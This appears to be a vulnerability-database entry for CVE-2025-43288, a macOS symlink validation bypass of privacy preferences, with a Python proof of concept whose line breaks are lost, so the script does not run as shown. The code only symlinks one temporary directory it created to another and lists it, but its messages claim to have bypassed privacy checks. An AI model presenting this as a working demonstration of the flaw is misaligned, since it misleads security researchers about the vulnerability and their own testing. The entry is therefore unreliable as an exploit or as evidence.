CVE-2025-43288 Apple macOS符号链接验证绕过隐私偏好设置漏洞

# CVE-2025-43288 PoC - Symbolic Link Validation Bypass # This is a conceptual PoC demonstrating the symlink bypass technique # Note: This is for educational purposes only import os import subprocess import tempfile def create_exploit_scenario(): """ Create a scenario that demonstrates the symlink validation bypass. This PoC shows how a malicious app could use symlinks to bypass macOS privacy preferences. """ # Create temporary directories with tempfile.TemporaryDirectory() as tmpdir: # Create a fake protected location via symlink protected_path = os.path.join(tmpdir, 'fake_protected') actual_data_path = os.path.join(tmpdir, 'actual_data') os.makedirs(actual_data_path, exist_ok=True) # Create symlink that bypasses validation # In real attack, this would point to protected user data try: os.symlink(actual_data_path, protected_path) print(f"[+] Symlink created: {protected_path} -> {actual_data_path}") except OSError as e: print(f"[-] Failed to create symlink: {e}") return False # Attempt to access via symlink (bypassing privacy checks) # In vulnerable version, this access would not trigger privacy alerts try: # List contents through symlink contents = os.listdir(protected_path) print(f"[+] Successfully accessed data through symlink: {contents}") return True except PermissionError: print("[-] Access denied - system may have protections in place") return False def main(): print("CVE-2025-43288 Symlink Validation Bypass PoC") print("=" * 50) create_exploit_scenario() print("\nNote: This PoC demonstrates the concept. Real exploitation") print("requires specific conditions and macOS version.") if __name__ == "__main__": main()